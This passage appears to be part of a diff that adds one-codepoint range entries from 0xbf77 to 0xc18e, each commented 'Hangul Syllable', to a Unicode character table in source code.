+ [0xbf77, 0xbf77], /* Hangul Syllable */
+ [0xbf78, 0xbf78], /* Hangul Syllable */
+ [0xbf79, 0xbf79], /* Hangul Syllable */
+ [0xbf7a, 0xbf7a], /* Hangul Syllable */
+ [0xbf7b, 0xbf7b], /* Hangul Syllable */
+ [0xbf7c, 0xbf7c], /* Hangul Syllable */
+ [0xbf7d, 0xbf7d], /* Hangul Syllable */
+ [0xbf7e, 0xbf7e], /* Hangul Syllable */
+ [0xbf7f, 0xbf7f], /* Hangul Syllable */
+ [0xbf80, 0xbf80], /* Hangul Syllable */
+ [0xbf81, 0xbf81], /* Hangul Syllable */
+ [0xbf82, 0xbf82], /* Hangul Syllable */
+ [0xbf83, 0xbf83], /* Hangul Syllable */
+ [0xbf84, 0xbf84], /* Hangul Syllable */
+ [0xbf85, 0xbf85], /* Hangul Syllable */
+ [0xbf86, 0xbf86], /* Hangul Syllable */
+ [0xbf87, 0xbf87], /* Hangul Syllable */
+ [0xbf88, 0xbf88], /* Hangul Syllable */
+ [0xbf89, 0xbf89], /* Hangul Syllable */
+ [0xbf8a, 0xbf8a], /* Hangul Syllable */
+ [0xbf8b, 0xbf8b], /* Hangul Syllable */
+ [0xbf8c, 0xbf8c], /* Hangul Syllable */
+ [0xbf8d, 0xbf8d], /* Hangul Syllable */
+ [0xbf8e, 0xbf8e], /* Hangul Syllable */
+ [0xbf8f, 0xbf8f], /* Hangul Syllable */
+ [0xbf90, 0xbf90], /* Hangul Syllable */
+ [0xbf91, 0xbf91], /* Hangul Syllable */
+ [0xbf92, 0xbf92], /* Hangul Syllable */
+ [0xbf93, 0xbf93], /* Hangul Syllable */
+ [0xbf94, 0xbf94], /* Hangul Syllable */
+ [0xbf95, 0xbf95], /* Hangul Syllable */
+ [0xbf96, 0xbf96], /* Hangul Syllable */
+ [0xbf97, 0xbf97], /* Hangul Syllable */
+ [0xbf98, 0xbf98], /* Hangul Syllable */
+ [0xbf99, 0xbf99], /* Hangul Syllable */
+ [0xbf9a, 0xbf9a], /* Hangul Syllable */
+ [0xbf9b, 0xbf9b], /* Hangul Syllable */
+ [0xbf9c, 0xbf9c], /* Hangul Syllable */
+ [0xbf9d, 0xbf9d], /* Hangul Syllable */
+ [0xbf9e, 0xbf9e], /* Hangul Syllable */
+ [0xbf9f, 0xbf9f], /* Hangul Syllable */
+ [0xbfa0, 0xbfa0], /* Hangul Syllable */
+ [0xbfa1, 0xbfa1], /* Hangul Syllable */
+ [0xbfa2, 0xbfa2], /* Hangul Syllable */
+ [0xbfa3, 0xbfa3], /* Hangul Syllable */
+ [0xbfa4, 0xbfa4], /* Hangul Syllable */
+ [0xbfa5, 0xbfa5], /* Hangul Syllable */
+ [0xbfa6, 0xbfa6], /* Hangul Syllable */
+ [0xbfa7, 0xbfa7], /* Hangul Syllable */
+ [0xbfa8, 0xbfa8], /* Hangul Syllable */
+ [0xbfa9, 0xbfa9], /* Hangul Syllable */
+ [0xbfaa, 0xbfaa], /* Hangul Syllable */
+ [0xbfab, 0xbfab], /* Hangul Syllable */
+ [0xbfac, 0xbfac], /* Hangul Syllable */
+ [0xbfad, 0xbfad], /* Hangul Syllable */
+ [0xbfae, 0xbfae], /* Hangul Syllable */
+ [0xbfaf, 0xbfaf], /* Hangul Syllable */
+ [0xbfb0, 0xbfb0], /* Hangul Syllable */
+ [0xbfb1, 0xbfb1], /* Hangul Syllable */
+ [0xbfb2, 0xbfb2], /* Hangul Syllable */
+ [0xbfb3, 0xbfb3], /* Hangul Syllable */
+ [0xbfb4, 0xbfb4], /* Hangul Syllable */
+ [0xbfb5, 0xbfb5], /* Hangul Syllable */
+ [0xbfb6, 0xbfb6], /* Hangul Syllable */
+ [0xbfb7, 0xbfb7], /* Hangul Syllable */
+ [0xbfb8, 0xbfb8], /* Hangul Syllable */
+ [0xbfb9, 0xbfb9], /* Hangul Syllable */
+ [0xbfba, 0xbfba], /* Hangul Syllable */
+ [0xbfbb, 0xbfbb], /* Hangul Syllable */
+ [0xbfbc, 0xbfbc], /* Hangul Syllable */
+ [0xbfbd, 0xbfbd], /* Hangul Syllable */
+ [0xbfbe, 0xbfbe], /* Hangul Syllable */
+ [0xbfbf, 0xbfbf], /* Hangul Syllable */
+ [0xbfc0, 0xbfc0], /* Hangul Syllable */
+ [0xbfc1, 0xbfc1], /* Hangul Syllable */
+ [0xbfc2, 0xbfc2], /* Hangul Syllable */
+ [0xbfc3, 0xbfc3], /* Hangul Syllable */
+ [0xbfc4, 0xbfc4], /* Hangul Syllable */
+ [0xbfc5, 0xbfc5], /* Hangul Syllable */
+ [0xbfc6, 0xbfc6], /* Hangul Syllable */
+ [0xbfc7, 0xbfc7], /* Hangul Syllable */
+ [0xbfc8, 0xbfc8], /* Hangul Syllable */
+ [0xbfc9, 0xbfc9], /* Hangul Syllable */
+ [0xbfca, 0xbfca], /* Hangul Syllable */
+ [0xbfcb, 0xbfcb], /* Hangul Syllable */
+ [0xbfcc, 0xbfcc], /* Hangul Syllable */
+ [0xbfcd, 0xbfcd], /* Hangul Syllable */
+ [0xbfce, 0xbfce], /* Hangul Syllable */
+ [0xbfcf, 0xbfcf], /* Hangul Syllable */
+ [0xbfd0, 0xbfd0], /* Hangul Syllable */
+ [0xbfd1, 0xbfd1], /* Hangul Syllable */
+ [0xbfd2, 0xbfd2], /* Hangul Syllable */
+ [0xbfd3, 0xbfd3], /* Hangul Syllable */
+ [0xbfd4, 0xbfd4], /* Hangul Syllable */
+ [0xbfd5, 0xbfd5], /* Hangul Syllable */
+ [0xbfd6, 0xbfd6], /* Hangul Syllable */
+ [0xbfd7, 0xbfd7], /* Hangul Syllable */
+ [0xbfd8, 0xbfd8], /* Hangul Syllable */
+ [0xbfd9, 0xbfd9], /* Hangul Syllable */
+ [0xbfda, 0xbfda], /* Hangul Syllable */
+ [0xbfdb, 0xbfdb], /* Hangul Syllable */
+ [0xbfdc, 0xbfdc], /* Hangul Syllable */
+ [0xbfdd, 0xbfdd], /* Hangul Syllable */
+ [0xbfde, 0xbfde], /* Hangul Syllable */
+ [0xbfdf, 0xbfdf], /* Hangul Syllable */
+ [0xbfe0, 0xbfe0], /* Hangul Syllable */
+ [0xbfe1, 0xbfe1], /* Hangul Syllable */
+ [0xbfe2, 0xbfe2], /* Hangul Syllable */
+ [0xbfe3, 0xbfe3], /* Hangul Syllable */
+ [0xbfe4, 0xbfe4], /* Hangul Syllable */
+ [0xbfe5, 0xbfe5], /* Hangul Syllable */
+ [0xbfe6, 0xbfe6], /* Hangul Syllable */
+ [0xbfe7, 0xbfe7], /* Hangul Syllable */
+ [0xbfe8, 0xbfe8], /* Hangul Syllable */
+ [0xbfe9, 0xbfe9], /* Hangul Syllable */
+ [0xbfea, 0xbfea], /* Hangul Syllable */
+ [0xbfeb, 0xbfeb], /* Hangul Syllable */
+ [0xbfec, 0xbfec], /* Hangul Syllable */
+ [0xbfed, 0xbfed], /* Hangul Syllable */
+ [0xbfee, 0xbfee], /* Hangul Syllable */
+ [0xbfef, 0xbfef], /* Hangul Syllable */
+ [0xbff0, 0xbff0], /* Hangul Syllable */
+ [0xbff1, 0xbff1], /* Hangul Syllable */
+ [0xbff2, 0xbff2], /* Hangul Syllable */
+ [0xbff3, 0xbff3], /* Hangul Syllable */
+ [0xbff4, 0xbff4], /* Hangul Syllable */
+ [0xbff5, 0xbff5], /* Hangul Syllable */
+ [0xbff6, 0xbff6], /* Hangul Syllable */
+ [0xbff7, 0xbff7], /* Hangul Syllable */
+ [0xbff8, 0xbff8], /* Hangul Syllable */
+ [0xbff9, 0xbff9], /* Hangul Syllable */
+ [0xbffa, 0xbffa], /* Hangul Syllable */
+ [0xbffb, 0xbffb], /* Hangul Syllable */
+ [0xbffc, 0xbffc], /* Hangul Syllable */
+ [0xbffd, 0xbffd], /* Hangul Syllable */
+ [0xbffe, 0xbffe], /* Hangul Syllable */
+ [0xbfff, 0xbfff], /* Hangul Syllable */
+ [0xc000, 0xc000], /* Hangul Syllable */
+ [0xc001, 0xc001], /* Hangul Syllable */
+ [0xc002, 0xc002], /* Hangul Syllable */
+ [0xc003, 0xc003], /* Hangul Syllable */
+ [0xc004, 0xc004], /* Hangul Syllable */
+ [0xc005, 0xc005], /* Hangul Syllable */
+ [0xc006, 0xc006], /* Hangul Syllable */
+ [0xc007, 0xc007], /* Hangul Syllable */
+ [0xc008, 0xc008], /* Hangul Syllable */
+ [0xc009, 0xc009], /* Hangul Syllable */
+ [0xc00a, 0xc00a], /* Hangul Syllable */
+ [0xc00b, 0xc00b], /* Hangul Syllable */
+ [0xc00c, 0xc00c], /* Hangul Syllable */
+ [0xc00d, 0xc00d], /* Hangul Syllable */
+ [0xc00e, 0xc00e], /* Hangul Syllable */
+ [0xc00f, 0xc00f], /* Hangul Syllable */
+ [0xc010, 0xc010], /* Hangul Syllable */
+ [0xc011, 0xc011], /* Hangul Syllable */
+ [0xc012, 0xc012], /* Hangul Syllable */
+ [0xc013, 0xc013], /* Hangul Syllable */
+ [0xc014, 0xc014], /* Hangul Syllable */
+ [0xc015, 0xc015], /* Hangul Syllable */
+ [0xc016, 0xc016], /* Hangul Syllable */
+ [0xc017, 0xc017], /* Hangul Syllable */
+ [0xc018, 0xc018], /* Hangul Syllable */
+ [0xc019, 0xc019], /* Hangul Syllable */
+ [0xc01a, 0xc01a], /* Hangul Syllable */
+ [0xc01b, 0xc01b], /* Hangul Syllable */
+ [0xc01c, 0xc01c], /* Hangul Syllable */
+ [0xc01d, 0xc01d], /* Hangul Syllable */
+ [0xc01e, 0xc01e], /* Hangul Syllable */
+ [0xc01f, 0xc01f], /* Hangul Syllable */
+ [0xc020, 0xc020], /* Hangul Syllable */
+ [0xc021, 0xc021], /* Hangul Syllable */
+ [0xc022, 0xc022], /* Hangul Syllable */
+ [0xc023, 0xc023], /* Hangul Syllable */
+ [0xc024, 0xc024], /* Hangul Syllable */
+ [0xc025, 0xc025], /* Hangul Syllable */
+ [0xc026, 0xc026], /* Hangul Syllable */
+ [0xc027, 0xc027], /* Hangul Syllable */
+ [0xc028, 0xc028], /* Hangul Syllable */
+ [0xc029, 0xc029], /* Hangul Syllable */
+ [0xc02a, 0xc02a], /* Hangul Syllable */
+ [0xc02b, 0xc02b], /* Hangul Syllable */
+ [0xc02c, 0xc02c], /* Hangul Syllable */
+ [0xc02d, 0xc02d], /* Hangul Syllable */
+ [0xc02e, 0xc02e], /* Hangul Syllable */
+ [0xc02f, 0xc02f], /* Hangul Syllable */
+ [0xc030, 0xc030], /* Hangul Syllable */
+ [0xc031, 0xc031], /* Hangul Syllable */
+ [0xc032, 0xc032], /* Hangul Syllable */
+ [0xc033, 0xc033], /* Hangul Syllable */
+ [0xc034, 0xc034], /* Hangul Syllable */
+ [0xc035, 0xc035], /* Hangul Syllable */
+ [0xc036, 0xc036], /* Hangul Syllable */
+ [0xc037, 0xc037], /* Hangul Syllable */
+ [0xc038, 0xc038], /* Hangul Syllable */
+ [0xc039, 0xc039], /* Hangul Syllable */
+ [0xc03a, 0xc03a], /* Hangul Syllable */
+ [0xc03b, 0xc03b], /* Hangul Syllable */
+ [0xc03c, 0xc03c], /* Hangul Syllable */
+ [0xc03d, 0xc03d], /* Hangul Syllable */
+ [0xc03e, 0xc03e], /* Hangul Syllable */
+ [0xc03f, 0xc03f], /* Hangul Syllable */
+ [0xc040, 0xc040], /* Hangul Syllable */
+ [0xc041, 0xc041], /* Hangul Syllable */
+ [0xc042, 0xc042], /* Hangul Syllable */
+ [0xc043, 0xc043], /* Hangul Syllable */
+ [0xc044, 0xc044], /* Hangul Syllable */
+ [0xc045, 0xc045], /* Hangul Syllable */
+ [0xc046, 0xc046], /* Hangul Syllable */
+ [0xc047, 0xc047], /* Hangul Syllable */
+ [0xc048, 0xc048], /* Hangul Syllable */
+ [0xc049, 0xc049], /* Hangul Syllable */
+ [0xc04a, 0xc04a], /* Hangul Syllable */
+ [0xc04b, 0xc04b], /* Hangul Syllable */
+ [0xc04c, 0xc04c], /* Hangul Syllable */
+ [0xc04d, 0xc04d], /* Hangul Syllable */
+ [0xc04e, 0xc04e], /* Hangul Syllable */
+ [0xc04f, 0xc04f], /* Hangul Syllable */
+ [0xc050, 0xc050], /* Hangul Syllable */
+ [0xc051, 0xc051], /* Hangul Syllable */
+ [0xc052, 0xc052], /* Hangul Syllable */
+ [0xc053, 0xc053], /* Hangul Syllable */
+ [0xc054, 0xc054], /* Hangul Syllable */
+ [0xc055, 0xc055], /* Hangul Syllable */
+ [0xc056, 0xc056], /* Hangul Syllable */
+ [0xc057, 0xc057], /* Hangul Syllable */
+ [0xc058, 0xc058], /* Hangul Syllable */
+ [0xc059, 0xc059], /* Hangul Syllable */
+ [0xc05a, 0xc05a], /* Hangul Syllable */
+ [0xc05b, 0xc05b], /* Hangul Syllable */
+ [0xc05c, 0xc05c], /* Hangul Syllable */
+ [0xc05d, 0xc05d], /* Hangul Syllable */
+ [0xc05e, 0xc05e], /* Hangul Syllable */
+ [0xc05f, 0xc05f], /* Hangul Syllable */
+ [0xc060, 0xc060], /* Hangul Syllable */
+ [0xc061, 0xc061], /* Hangul Syllable */
+ [0xc062, 0xc062], /* Hangul Syllable */
+ [0xc063, 0xc063], /* Hangul Syllable */
+ [0xc064, 0xc064], /* Hangul Syllable */
+ [0xc065, 0xc065], /* Hangul Syllable */
+ [0xc066, 0xc066], /* Hangul Syllable */
+ [0xc067, 0xc067], /* Hangul Syllable */
+ [0xc068, 0xc068], /* Hangul Syllable */
+ [0xc069, 0xc069], /* Hangul Syllable */
+ [0xc06a, 0xc06a], /* Hangul Syllable */
+ [0xc06b, 0xc06b], /* Hangul Syllable */
+ [0xc06c, 0xc06c], /* Hangul Syllable */
+ [0xc06d, 0xc06d], /* Hangul Syllable */
+ [0xc06e, 0xc06e], /* Hangul Syllable */
+ [0xc06f, 0xc06f], /* Hangul Syllable */
+ [0xc070, 0xc070], /* Hangul Syllable */
+ [0xc071, 0xc071], /* Hangul Syllable */
+ [0xc072, 0xc072], /* Hangul Syllable */
+ [0xc073, 0xc073], /* Hangul Syllable */
+ [0xc074, 0xc074], /* Hangul Syllable */
+ [0xc075, 0xc075], /* Hangul Syllable */
+ [0xc076, 0xc076], /* Hangul Syllable */
+ [0xc077, 0xc077], /* Hangul Syllable */
+ [0xc078, 0xc078], /* Hangul Syllable */
+ [0xc079, 0xc079], /* Hangul Syllable */
+ [0xc07a, 0xc07a], /* Hangul Syllable */
+ [0xc07b, 0xc07b], /* Hangul Syllable */
+ [0xc07c, 0xc07c], /* Hangul Syllable */
+ [0xc07d, 0xc07d], /* Hangul Syllable */
+ [0xc07e, 0xc07e], /* Hangul Syllable */
+ [0xc07f, 0xc07f], /* Hangul Syllable */
+ [0xc080, 0xc080], /* Hangul Syllable */
+ [0xc081, 0xc081], /* Hangul Syllable */
+ [0xc082, 0xc082], /* Hangul Syllable */
+ [0xc083, 0xc083], /* Hangul Syllable */
+ [0xc084, 0xc084], /* Hangul Syllable */
+ [0xc085, 0xc085], /* Hangul Syllable */
+ [0xc086, 0xc086], /* Hangul Syllable */
+ [0xc087, 0xc087], /* Hangul Syllable */
+ [0xc088, 0xc088], /* Hangul Syllable */
+ [0xc089, 0xc089], /* Hangul Syllable */
+ [0xc08a, 0xc08a], /* Hangul Syllable */
+ [0xc08b, 0xc08b], /* Hangul Syllable */
+ [0xc08c, 0xc08c], /* Hangul Syllable */
+ [0xc08d, 0xc08d], /* Hangul Syllable */
+ [0xc08e, 0xc08e], /* Hangul Syllable */
+ [0xc08f, 0xc08f], /* Hangul Syllable */
+ [0xc090, 0xc090], /* Hangul Syllable */
+ [0xc091, 0xc091], /* Hangul Syllable */
+ [0xc092, 0xc092], /* Hangul Syllable */
+ [0xc093, 0xc093], /* Hangul Syllable */
+ [0xc094, 0xc094], /* Hangul Syllable */
+ [0xc095, 0xc095], /* Hangul Syllable */
+ [0xc096, 0xc096], /* Hangul Syllable */
+ [0xc097, 0xc097], /* Hangul Syllable */
+ [0xc098, 0xc098], /* Hangul Syllable */
+ [0xc099, 0xc099], /* Hangul Syllable */
+ [0xc09a, 0xc09a], /* Hangul Syllable */
+ [0xc09b, 0xc09b], /* Hangul Syllable */
+ [0xc09c, 0xc09c], /* Hangul Syllable */
+ [0xc09d, 0xc09d], /* Hangul Syllable */
+ [0xc09e, 0xc09e], /* Hangul Syllable */
+ [0xc09f, 0xc09f], /* Hangul Syllable */
+ [0xc0a0, 0xc0a0], /* Hangul Syllable */
+ [0xc0a1, 0xc0a1], /* Hangul Syllable */
+ [0xc0a2, 0xc0a2], /* Hangul Syllable */
+ [0xc0a3, 0xc0a3], /* Hangul Syllable */
+ [0xc0a4, 0xc0a4], /* Hangul Syllable */
+ [0xc0a5, 0xc0a5], /* Hangul Syllable */
+ [0xc0a6, 0xc0a6], /* Hangul Syllable */
+ [0xc0a7, 0xc0a7], /* Hangul Syllable */
+ [0xc0a8, 0xc0a8], /* Hangul Syllable */
+ [0xc0a9, 0xc0a9], /* Hangul Syllable */
+ [0xc0aa, 0xc0aa], /* Hangul Syllable */
+ [0xc0ab, 0xc0ab], /* Hangul Syllable */
+ [0xc0ac, 0xc0ac], /* Hangul Syllable */
+ [0xc0ad, 0xc0ad], /* Hangul Syllable */
+ [0xc0ae, 0xc0ae], /* Hangul Syllable */
+ [0xc0af, 0xc0af], /* Hangul Syllable */
+ [0xc0b0, 0xc0b0], /* Hangul Syllable */
+ [0xc0b1, 0xc0b1], /* Hangul Syllable */
+ [0xc0b2, 0xc0b2], /* Hangul Syllable */
+ [0xc0b3, 0xc0b3], /* Hangul Syllable */
+ [0xc0b4, 0xc0b4], /* Hangul Syllable */
+ [0xc0b5, 0xc0b5], /* Hangul Syllable */
+ [0xc0b6, 0xc0b6], /* Hangul Syllable */
+ [0xc0b7, 0xc0b7], /* Hangul Syllable */
+ [0xc0b8, 0xc0b8], /* Hangul Syllable */
+ [0xc0b9, 0xc0b9], /* Hangul Syllable */
+ [0xc0ba, 0xc0ba], /* Hangul Syllable */
+ [0xc0bb, 0xc0bb], /* Hangul Syllable */
+ [0xc0bc, 0xc0bc], /* Hangul Syllable */
+ [0xc0bd, 0xc0bd], /* Hangul Syllable */
+ [0xc0be, 0xc0be], /* Hangul Syllable */
+ [0xc0bf, 0xc0bf], /* Hangul Syllable */
+ [0xc0c0, 0xc0c0], /* Hangul Syllable */
+ [0xc0c1, 0xc0c1], /* Hangul Syllable */
+ [0xc0c2, 0xc0c2], /* Hangul Syllable */
+ [0xc0c3, 0xc0c3], /* Hangul Syllable */
+ [0xc0c4, 0xc0c4], /* Hangul Syllable */
+ [0xc0c5, 0xc0c5], /* Hangul Syllable */
+ [0xc0c6, 0xc0c6], /* Hangul Syllable */
+ [0xc0c7, 0xc0c7], /* Hangul Syllable */
+ [0xc0c8, 0xc0c8], /* Hangul Syllable */
+ [0xc0c9, 0xc0c9], /* Hangul Syllable */
+ [0xc0ca, 0xc0ca], /* Hangul Syllable */
+ [0xc0cb, 0xc0cb], /* Hangul Syllable */
+ [0xc0cc, 0xc0cc], /* Hangul Syllable */
+ [0xc0cd, 0xc0cd], /* Hangul Syllable */
+ [0xc0ce, 0xc0ce], /* Hangul Syllable */
+ [0xc0cf, 0xc0cf], /* Hangul Syllable */
+ [0xc0d0, 0xc0d0], /* Hangul Syllable */
+ [0xc0d1, 0xc0d1], /* Hangul Syllable */
+ [0xc0d2, 0xc0d2], /* Hangul Syllable */
+ [0xc0d3, 0xc0d3], /* Hangul Syllable */
+ [0xc0d4, 0xc0d4], /* Hangul Syllable */
+ [0xc0d5, 0xc0d5], /* Hangul Syllable */
+ [0xc0d6, 0xc0d6], /* Hangul Syllable */
+ [0xc0d7, 0xc0d7], /* Hangul Syllable */
+ [0xc0d8, 0xc0d8], /* Hangul Syllable */
+ [0xc0d9, 0xc0d9], /* Hangul Syllable */
+ [0xc0da, 0xc0da], /* Hangul Syllable */
+ [0xc0db, 0xc0db], /* Hangul Syllable */
+ [0xc0dc, 0xc0dc], /* Hangul Syllable */
+ [0xc0dd, 0xc0dd], /* Hangul Syllable */
+ [0xc0de, 0xc0de], /* Hangul Syllable */
+ [0xc0df, 0xc0df], /* Hangul Syllable */
+ [0xc0e0, 0xc0e0], /* Hangul Syllable */
+ [0xc0e1, 0xc0e1], /* Hangul Syllable */
+ [0xc0e2, 0xc0e2], /* Hangul Syllable */
+ [0xc0e3, 0xc0e3], /* Hangul Syllable */
+ [0xc0e4, 0xc0e4], /* Hangul Syllable */
+ [0xc0e5, 0xc0e5], /* Hangul Syllable */
+ [0xc0e6, 0xc0e6], /* Hangul Syllable */
+ [0xc0e7, 0xc0e7], /* Hangul Syllable */
+ [0xc0e8, 0xc0e8], /* Hangul Syllable */
+ [0xc0e9, 0xc0e9], /* Hangul Syllable */
+ [0xc0ea, 0xc0ea], /* Hangul Syllable */
+ [0xc0eb, 0xc0eb], /* Hangul Syllable */
+ [0xc0ec, 0xc0ec], /* Hangul Syllable */
+ [0xc0ed, 0xc0ed], /* Hangul Syllable */
+ [0xc0ee, 0xc0ee], /* Hangul Syllable */
+ [0xc0ef, 0xc0ef], /* Hangul Syllable */
+ [0xc0f0, 0xc0f0], /* Hangul Syllable */
+ [0xc0f1, 0xc0f1], /* Hangul Syllable */
+ [0xc0f2, 0xc0f2], /* Hangul Syllable */
+ [0xc0f3, 0xc0f3], /* Hangul Syllable */
+ [0xc0f4, 0xc0f4], /* Hangul Syllable */
+ [0xc0f5, 0xc0f5], /* Hangul Syllable */
+ [0xc0f6, 0xc0f6], /* Hangul Syllable */
+ [0xc0f7, 0xc0f7], /* Hangul Syllable */
+ [0xc0f8, 0xc0f8], /* Hangul Syllable */
+ [0xc0f9, 0xc0f9], /* Hangul Syllable */
+ [0xc0fa, 0xc0fa], /* Hangul Syllable */
+ [0xc0fb, 0xc0fb], /* Hangul Syllable */
+ [0xc0fc, 0xc0fc], /* Hangul Syllable */
+ [0xc0fd, 0xc0fd], /* Hangul Syllable */
+ [0xc0fe, 0xc0fe], /* Hangul Syllable */
+ [0xc0ff, 0xc0ff], /* Hangul Syllable */
+ [0xc100, 0xc100], /* Hangul Syllable */
+ [0xc101, 0xc101], /* Hangul Syllable */
+ [0xc102, 0xc102], /* Hangul Syllable */
+ [0xc103, 0xc103], /* Hangul Syllable */
+ [0xc104, 0xc104], /* Hangul Syllable */
+ [0xc105, 0xc105], /* Hangul Syllable */
+ [0xc106, 0xc106], /* Hangul Syllable */
+ [0xc107, 0xc107], /* Hangul Syllable */
+ [0xc108, 0xc108], /* Hangul Syllable */
+ [0xc109, 0xc109], /* Hangul Syllable */
+ [0xc10a, 0xc10a], /* Hangul Syllable */
+ [0xc10b, 0xc10b], /* Hangul Syllable */
+ [0xc10c, 0xc10c], /* Hangul Syllable */
+ [0xc10d, 0xc10d], /* Hangul Syllable */
+ [0xc10e, 0xc10e], /* Hangul Syllable */
+ [0xc10f, 0xc10f], /* Hangul Syllable */
+ [0xc110, 0xc110], /* Hangul Syllable */
+ [0xc111, 0xc111], /* Hangul Syllable */
+ [0xc112, 0xc112], /* Hangul Syllable */
+ [0xc113, 0xc113], /* Hangul Syllable */
+ [0xc114, 0xc114], /* Hangul Syllable */
+ [0xc115, 0xc115], /* Hangul Syllable */
+ [0xc116, 0xc116], /* Hangul Syllable */
+ [0xc117, 0xc117], /* Hangul Syllable */
+ [0xc118, 0xc118], /* Hangul Syllable */
+ [0xc119, 0xc119], /* Hangul Syllable */
+ [0xc11a, 0xc11a], /* Hangul Syllable */
+ [0xc11b, 0xc11b], /* Hangul Syllable */
+ [0xc11c, 0xc11c], /* Hangul Syllable */
+ [0xc11d, 0xc11d], /* Hangul Syllable */
+ [0xc11e, 0xc11e], /* Hangul Syllable */
+ [0xc11f, 0xc11f], /* Hangul Syllable */
+ [0xc120, 0xc120], /* Hangul Syllable */
+ [0xc121, 0xc121], /* Hangul Syllable */
+ [0xc122, 0xc122], /* Hangul Syllable */
+ [0xc123, 0xc123], /* Hangul Syllable */
+ [0xc124, 0xc124], /* Hangul Syllable */
+ [0xc125, 0xc125], /* Hangul Syllable */
+ [0xc126, 0xc126], /* Hangul Syllable */
+ [0xc127, 0xc127], /* Hangul Syllable */
+ [0xc128, 0xc128], /* Hangul Syllable */
+ [0xc129, 0xc129], /* Hangul Syllable */
+ [0xc12a, 0xc12a], /* Hangul Syllable */
+ [0xc12b, 0xc12b], /* Hangul Syllable */
+ [0xc12c, 0xc12c], /* Hangul Syllable */
+ [0xc12d, 0xc12d], /* Hangul Syllable */
+ [0xc12e, 0xc12e], /* Hangul Syllable */
+ [0xc12f, 0xc12f], /* Hangul Syllable */
+ [0xc130, 0xc130], /* Hangul Syllable */
+ [0xc131, 0xc131], /* Hangul Syllable */
+ [0xc132, 0xc132], /* Hangul Syllable */
+ [0xc133, 0xc133], /* Hangul Syllable */
+ [0xc134, 0xc134], /* Hangul Syllable */
+ [0xc135, 0xc135], /* Hangul Syllable */
+ [0xc136, 0xc136], /* Hangul Syllable */
+ [0xc137, 0xc137], /* Hangul Syllable */
+ [0xc138, 0xc138], /* Hangul Syllable */
+ [0xc139, 0xc139], /* Hangul Syllable */
+ [0xc13a, 0xc13a], /* Hangul Syllable */
+ [0xc13b, 0xc13b], /* Hangul Syllable */
+ [0xc13c, 0xc13c], /* Hangul Syllable */
+ [0xc13d, 0xc13d], /* Hangul Syllable */
+ [0xc13e, 0xc13e], /* Hangul Syllable */
+ [0xc13f, 0xc13f], /* Hangul Syllable */
+ [0xc140, 0xc140], /* Hangul Syllable */
+ [0xc141, 0xc141], /* Hangul Syllable */
+ [0xc142, 0xc142], /* Hangul Syllable */
+ [0xc143, 0xc143], /* Hangul Syllable */
+ [0xc144, 0xc144], /* Hangul Syllable */
+ [0xc145, 0xc145], /* Hangul Syllable */
+ [0xc146, 0xc146], /* Hangul Syllable */
+ [0xc147, 0xc147], /* Hangul Syllable */
+ [0xc148, 0xc148], /* Hangul Syllable */
+ [0xc149, 0xc149], /* Hangul Syllable */
+ [0xc14a, 0xc14a], /* Hangul Syllable */
+ [0xc14b, 0xc14b], /* Hangul Syllable */
+ [0xc14c, 0xc14c], /* Hangul Syllable */
+ [0xc14d, 0xc14d], /* Hangul Syllable */
+ [0xc14e, 0xc14e], /* Hangul Syllable */
+ [0xc14f, 0xc14f], /* Hangul Syllable */
+ [0xc150, 0xc150], /* Hangul Syllable */
+ [0xc151, 0xc151], /* Hangul Syllable */
+ [0xc152, 0xc152], /* Hangul Syllable */
+ [0xc153, 0xc153], /* Hangul Syllable */
+ [0xc154, 0xc154], /* Hangul Syllable */
+ [0xc155, 0xc155], /* Hangul Syllable */
+ [0xc156, 0xc156], /* Hangul Syllable */
+ [0xc157, 0xc157], /* Hangul Syllable */
+ [0xc158, 0xc158], /* Hangul Syllable */
+ [0xc159, 0xc159], /* Hangul Syllable */
+ [0xc15a, 0xc15a], /* Hangul Syllable */
+ [0xc15b, 0xc15b], /* Hangul Syllable */
+ [0xc15c, 0xc15c], /* Hangul Syllable */
+ [0xc15d, 0xc15d], /* Hangul Syllable */
+ [0xc15e, 0xc15e], /* Hangul Syllable */
+ [0xc15f, 0xc15f], /* Hangul Syllable */
+ [0xc160, 0xc160], /* Hangul Syllable */
+ [0xc161, 0xc161], /* Hangul Syllable */
+ [0xc162, 0xc162], /* Hangul Syllable */
+ [0xc163, 0xc163], /* Hangul Syllable */
+ [0xc164, 0xc164], /* Hangul Syllable */
+ [0xc165, 0xc165], /* Hangul Syllable */
+ [0xc166, 0xc166], /* Hangul Syllable */
+ [0xc167, 0xc167], /* Hangul Syllable */
+ [0xc168, 0xc168], /* Hangul Syllable */
+ [0xc169, 0xc169], /* Hangul Syllable */
+ [0xc16a, 0xc16a], /* Hangul Syllable */
+ [0xc16b, 0xc16b], /* Hangul Syllable */
+ [0xc16c, 0xc16c], /* Hangul Syllable */
+ [0xc16d, 0xc16d], /* Hangul Syllable */
+ [0xc16e, 0xc16e], /* Hangul Syllable */
+ [0xc16f, 0xc16f], /* Hangul Syllable */
+ [0xc170, 0xc170], /* Hangul Syllable */
+ [0xc171, 0xc171], /* Hangul Syllable */
+ [0xc172, 0xc172], /* Hangul Syllable */
+ [0xc173, 0xc173], /* Hangul Syllable */
+ [0xc174, 0xc174], /* Hangul Syllable */
+ [0xc175, 0xc175], /* Hangul Syllable */
+ [0xc176, 0xc176], /* Hangul Syllable */
+ [0xc177, 0xc177], /* Hangul Syllable */
+ [0xc178, 0xc178], /* Hangul Syllable */
+ [0xc179, 0xc179], /* Hangul Syllable */
+ [0xc17a, 0xc17a], /* Hangul Syllable */
+ [0xc17b, 0xc17b], /* Hangul Syllable */
+ [0xc17c, 0xc17c], /* Hangul Syllable */
+ [0xc17d, 0xc17d], /* Hangul Syllable */
+ [0xc17e, 0xc17e], /* Hangul Syllable */
+ [0xc17f, 0xc17f], /* Hangul Syllable */
+ [0xc180, 0xc180], /* Hangul Syllable */
+ [0xc181, 0xc181], /* Hangul Syllable */
+ [0xc182, 0xc182], /* Hangul Syllable */
+ [0xc183, 0xc183], /* Hangul Syllable */
+ [0xc184, 0xc184], /* Hangul Syllable */
+ [0xc185, 0xc185], /* Hangul Syllable */
+ [0xc186, 0xc186], /* Hangul Syllable */
+ [0xc187, 0xc187], /* Hangul Syllable */
+ [0xc188, 0xc188], /* Hangul Syllable */
+ [0xc189, 0xc189], /* Hangul Syllable */
+ [0xc18a, 0xc18a], /* Hangul Syllable */
+ [0xc18b, 0xc18b], /* Hangul Syllable */
+ [0xc18c, 0xc18c], /* Hangul Syllable */
+ [0xc18d, 0xc18d], /* Hangul Syllable */
+ [0xc18e, 0xc18e], /* Hangul Syllable */
